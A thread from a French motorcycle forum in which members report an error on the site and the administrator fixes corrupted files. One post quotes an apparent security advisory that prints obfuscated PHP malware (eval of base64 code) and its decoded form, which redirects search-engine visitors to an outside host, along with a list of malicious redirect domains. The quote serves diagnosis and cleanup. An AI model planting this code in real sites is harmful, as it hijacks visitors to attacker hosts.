menace informatique ?

Démarré par mistral, 13 Octobre 2012 à 02:37:51

« précédent - suivant »

0 Membres et 1 Invité sur ce sujet

HotCmel

Citation de: nErur le 15 Octobre 2012 à 18:37:08
Il a dit qu'il s'en occupait, mais je crois qu'il a le droit de dormir un peu aussi  ;)

Oui cette nuit j'ai été couché à 2h, aujourd hui c'était difficile  Oo:

Du coup ce soir dodo tot et j'essaierais de faire ca pour demain soir  ;) car la je ne suis pas coucher avec la grsseur du forum  :-\
Vous êtes satisfait de notre forum? Conseillez le à vos amis et connaissances<br /><br />Règles du forum<br /><br />Comment inserer une photo<br /><br />Sortie de dernières minutes du Sud-Est , c'est ICI -> https://forum.planete-kawasaki.com/index.php/topic,4801.0

kekenn

Qu'est ce que tu fais encore la ? Tu n'es pas encore couché ? Allez oustttttt  :-D

Dirt Diver

Citation06/26/2012- Redirects to  hinia.zyns.com

This is a referrer based conditional hack. The hack is accomplished using some obfuscated php code.  The code will look something like this

ev??al(base??64_decode('DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlY
WRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VS
VkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVN
FUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLC
JNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3Rya
XN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKS
BvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwib
Gl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkc
mVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb
3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlc
mVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubH
kiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbW
F0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZ
WZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiw
kcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc
3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVy
LCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAh
c3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodH
RwOi8vaGluaWEuenlucy5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=='));

which de-obfuscates to something like

error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (!stristr($uag,"MSIE 7.0")){if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or&nbsp;stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&amp;lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com")&nbsp;or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://hinia.zyns.com/"); exit(); }}} } }


In most cases you will find the code in one of the core CMS files, wp-config.php, wp-settings.php for WordPress or includes/defines.php  and includes/index.php on Joomla.   On some sites it will be in multiple files including the homepage.

Redirects to dubstep.dumb1.com, minkof.sellclassics.com, www6.uiopqw.jkub.com, www.fdvrerefrr.ezua .com, smooth.ygto.com, costabrava.bee.pl, www.bpoffer.changeip.org, chromium.my03.com, aozpta.mrbonus.com, www.stlp.4pu.com, www.jjuejujj1111.freewww.biz are typically done with obfuscated php code.

Une piste .... ;)

HotCmel

Ok merci le probleme ce n est plus le site mais bien le forum qui pose probleme maintenant ;)
Vous êtes satisfait de notre forum? Conseillez le à vos amis et connaissances<br /><br />Règles du forum<br /><br />Comment inserer une photo<br /><br />Sortie de dernières minutes du Sud-Est , c'est ICI -> https://forum.planete-kawasaki.com/index.php/topic,4801.0

Piloux

dirt Grand chef va se coucher, alors laisse le dormir nan mais !! :red:

ben j'ai aucun probleme pour l'instant !!!


:-D

:sifflet:
-> [MOVE]<br />╔══╗<br />╚╗╔╝<br />╔╝(¯`v´¯)<br />╚══`.¸.la moto, ben ouë !  :-D<br />Z 9ôÔ°°°.. FULL 125 ! woof<br /><br />amis amours emmerdes

Dirt Diver

Oui oui piloux je le laisse faire dodo...
Je lui ai mis la piste qui concerne la partie forum et les dossiers/fichiers qu'il peut vérifier.
Une piste pour le chef: regarde la date de modification des fichiers sur le serveur.

HotCmel

Voila réparé !  0(0 dites moi si vous avez encore des messages d'erreurs ???
Vous êtes satisfait de notre forum? Conseillez le à vos amis et connaissances<br /><br />Règles du forum<br /><br />Comment inserer une photo<br /><br />Sortie de dernières minutes du Sud-Est , c'est ICI -> https://forum.planete-kawasaki.com/index.php/topic,4801.0

Dirt Diver

Citation de: HotCmel le 17 Octobre 2012 à 21:11:13
Voila réparé !  0(0 dites moi si vous avez encore des messages d'erreurs ???
Alors c'était quoi ?

HotCmel

Plusieurs fichiers corrompus ;)
Vous êtes satisfait de notre forum? Conseillez le à vos amis et connaissances<br /><br />Règles du forum<br /><br />Comment inserer une photo<br /><br />Sortie de dernières minutes du Sud-Est , c'est ICI -> https://forum.planete-kawasaki.com/index.php/topic,4801.0

Dirt Diver

J'le savais !
p.... j'suis trop fort ! :sifflet: <D

HotCmel

Normalement si vous faites une recherche dans google tout devrait passer :)
Vous êtes satisfait de notre forum? Conseillez le à vos amis et connaissances<br /><br />Règles du forum<br /><br />Comment inserer une photo<br /><br />Sortie de dernières minutes du Sud-Est , c'est ICI -> https://forum.planete-kawasaki.com/index.php/topic,4801.0

Dirt Diver

Nickel pour moi ! ;)

shark49

Mon Ex ZR-7
Ma CBF 1000

Les cons du jour sont de sortie et à voir le nombre qu'il y en à aujourd'hui, je crois même que les cons de demain le son aussi...

mistral

Bonjour à tous,
Nickel, ça passe pour moi sans le message d'erreur que j'avais signalé au début.
Bravo HotCmel !

popeye44

nickel sa remarche sans soucis

:bravo: :bravo: boss

HotCmel

Vous êtes satisfait de notre forum? Conseillez le à vos amis et connaissances<br /><br />Règles du forum<br /><br />Comment inserer une photo<br /><br />Sortie de dernières minutes du Sud-Est , c'est ICI -> https://forum.planete-kawasaki.com/index.php/topic,4801.0

freeroad

Bravo patron et merci